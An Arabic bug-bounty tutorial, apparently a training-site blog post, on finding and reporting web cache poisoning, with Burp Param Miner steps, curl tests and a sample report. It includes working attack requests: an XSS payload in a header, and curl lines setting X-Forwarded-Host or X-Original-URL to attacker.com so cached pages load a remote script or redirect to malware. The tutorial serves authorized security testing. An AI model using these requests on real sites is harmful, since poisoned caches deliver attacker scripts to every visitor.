ثغرات Web Cache Poisoning: كيف تجد هذه الثغرات النادرة وتجني المكافآت الكبيرة
4 أكتوبر 2026 · بواسطة Pentevo
Web Cache Poisoning هي ثغرة متقدمة تسمح للمهاجم بحقن محتوى خبيث في الـ Cache السيرفر، بحيث يُقدَّم هذا المحتوى لجميع الزوار الذين يطلبون نفس الـ URL.
كيف يعمل HTTP Caching
عندما تطلب صفحة من موقع يستخدم CDN أو Cache:
المستخدم → CDN Cache → Origin Server (إذا لم يكن في الـ Cache)
↓
الاستجابة تُخزَّن في Cache بناءً على Cache Key
Cache Key: مجموعة من المعرّفات التي تُحدد ما إذا كان الطلب يطابق نسخة مخزّنة. عادةً: URL + Host + Vary headers.
المشكلة: بعض الـ Headers تؤثر على الاستجابة لكنها ليست جزءًا من الـ Cache Key (Unkeyed Inputs).
مفهوم Unkeyed Inputs
طلب طبيعي:
GET /page HTTP/1.1
Host: example.com
X-Custom-Header: normalvalue ← لا يُؤثر على الـ Cache Key
طلب مزيّف من المهاجم:
GET /page HTTP/1.1
Host: example.com
X-Custom-Header: <script>alert(1)</script> ← يُعكس في الاستجابة!
إذا خُزّنت الاستجابة المزيّفة في الـ Cache:
→ كل من يطلب /page يحصل على الاستجابة المزيّفة
→ XSS لكل الزوار!
أنواع Unkeyed Inputs
1. Unkeyed Headers
X-Forwarded-Host
X-Forwarded-For
X-Host
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Original-Forwarded-For
2. Unkeyed Parameters
utm_source, utm_campaign, fbclid, gclid
(marketing parameters يتجاهلها الـ Cache في المفتاح
لكن قد تُعكس في الاستجابة)
3. Unkeyed Cookies
بعض الـ Cookies لا تُدرج في الـ Cache Key لكن تُؤثر على الاستجابة.
الاكتشاف باستخدام Burp Suite
Param Miner Extension (الأهم)
1. ثبّت Param Miner من BApp Store في Burp
2. انقر بالزر الأيمن على الطلب → Extensions → Param Miner → Guess headers
3. انتظر — يُرسل مئات الـ headers ويبحث عن التغييرات
4. إذا وجد header يُغيّر الاستجابة = unkeyed candidate
اختبار يدوي
# 1. أرسل طلبًا عاديًا ولاحظ الاستجابة
curl -s https://example.com/page > baseline.txt
# 2. أضف X-Forwarded-Host وراقب التغيير
curl -s -H "X-Forwarded-Host: test.attacker.com" \
https://example.com/page > with_header.txt
# 3. قارن الاستجابتين
diff baseline.txt with_header.txt
# 4. إذا ظهر test.attacker.com في الاستجابة = unkeyed!
استغلال Cache Poisoning
Cache Poisoning + XSS
# إذا كان X-Forwarded-Host يُعكس في resource URL
curl -H "X-Forwarded-Host: attacker.com" \
https://example.com/page
# Response:
<script src="//attacker.com/app.js"></script> # ← URL الموارد تغيّر!
# الاستغلال: اجعل الاستجابة تُخزَّن في Cache
# كل زائر لـ /page يُحمّل script من attacker.com
Cache Poisoning + Open Redirect
curl -H "X-Original-URL: //attacker.com/malware" \
https://example.com/
# إذا خُزّن الـ redirect في Cache → كل الزوار يُحوَّلون!
كيف تتأكد أن الاستجابة خُزّنت في Cache
# أرسل نفس الطلب مرتين وراقب:
# X-Cache: HIT = جاء من الـ Cache
# X-Cache: MISS = جاء من الـ Origin
# Age: 60 = مخزّن منذ 60 ثانية
curl -v https://example.com/page 2>&1 | grep -i "x-cache\|age\|cache-control"
اعتبارات مهمة في Bug Bounty
قبل الإرسال، تأكد من:
- الـ Payload لا يؤثر فعلًا على المستخدمين (استخدم Cache Buster)
- أثبت التخزين بـ
X-Cache: HITفي طلب ثانٍ - وثّق الـ Cache Key المستخدم
Cache Buster تقنية للاختبار الآمن:
# أضف parameter فريد لكل اختبار لتجنب تلويث الـ Cache
# بدلًا من: https://example.com/page
# استخدم: https://example.com/page?cachebust=12345
curl -H "X-Forwarded-Host: attacker.com" \
"https://example.com/page?cachebust=test_$(date +%s)"
مثال تقرير Cache Poisoning
Title: Web Cache Poisoning via X-Forwarded-Host leads to Reflected XSS for all users
Summary:
The CDN cache does not include X-Forwarded-Host in the cache key.
The application reflects this header in script src attributes. By
poisoning the cache, an attacker can serve malicious JavaScript to
all users visiting the affected page.
Steps to Reproduce:
1. Send request with cache buster: GET /page?cb=1 HTTP/1.1
X-Forwarded-Host: attacker.com
2. Observe response includes: <script src="//attacker.com/app.js">
3. Confirm caching: resend request WITHOUT X-Forwarded-Host
4. Response still contains attacker.com (X-Cache: HIT)
5. All subsequent visitors receive poisoned response
Impact:
Stored XSS affecting all users visiting /page until cache expires.
Enables session hijacking, credential theft, malware distribution.
Severity: Critical
الخلاصة
Web Cache Poisoning تتطلب فهمًا أعمق من معظم الثغرات لكن مكافآتها تعكس ذلك — تقارير Critical بآلاف الدولارات. استخدم Param Miner مع كل هدف كبير، وتذكر Cache Buster لحماية المستخدمين أثناء الاختبار.
الأسئلة الشائعة
لماذا Web Cache Poisoning نادرة لكن مكافآتها كبيرة؟
لأنها تتطلب فهمًا عميقًا لكيفية عمل Cache Servers والـ CDNs. قليلون يبحثون عنها، لكن تأثيرها هائل — يمكن تقديم محتوى خبيث لجميع الزوار.
ما الأدوات المستخدمة لاكتشاف Cache Poisoning؟
param-miner في Burp Suite هي الأداة الرئيسية. تكتشف Unkeyed Parameters تلقائيًا.
هل كل موقع يستخدم Cache قابل للتأثر؟
لا. يعتمد على إعداد الـ Cache Server. المواقع التي تُهمّش بعض الـ Headers في مفتاح الـ Cache مع عكسها في الاستجابة هي المعرّضة للخطر.
مقالات ذات صلة
اختبار اختراق APIs: الدليل العملي لـ Bug Bounty في 2026
كيف تختبر REST APIs وGraphQL وgRPC في Bug Bounty: منهجية شاملة من Fuzzing الـ Endpoints إلى IDOR وBroken Authentication وInjection.
bug-bountyكيف تكتب Writeup Bug Bounty يجذب القراء ويعزز سمعتك
دليل كتابة Writeups احترافية لثغرات Bug Bounty: البنية الصحيحة، كيف تقدّم الثغرة بإبداع، ولماذا Writeups تُضاعف دخلك وفرص عملك.
bug-bountyشرح Bugcrowd للمبتدئين: كيف تبدأ وتختار البرنامج الصحيح
دليل شامل لمنصة Bugcrowd: التسجيل، الفرق عن HackerOne، أفضل البرامج للمبتدئين، نظام Trust وPoints، وكيف تستفيد من Crowdstream.
bug-bountyثغرات Command Injection: من الاكتشاف إلى RCE الكامل
دليل شامل لثغرات OS Command Injection: كيف تعمل، أين تظهر، Payloads عملية، تقنيات Out-of-Band Detection، وكيف توثّقها في Bug Bounty.
طبّق هذا عمليًا
أكاديمية Pentevo تحوّل هذه المفاهيم إلى دروس موجّهة وفيديوهات واختبارات — مجانًا.
ابدأ التعلّم مجانًا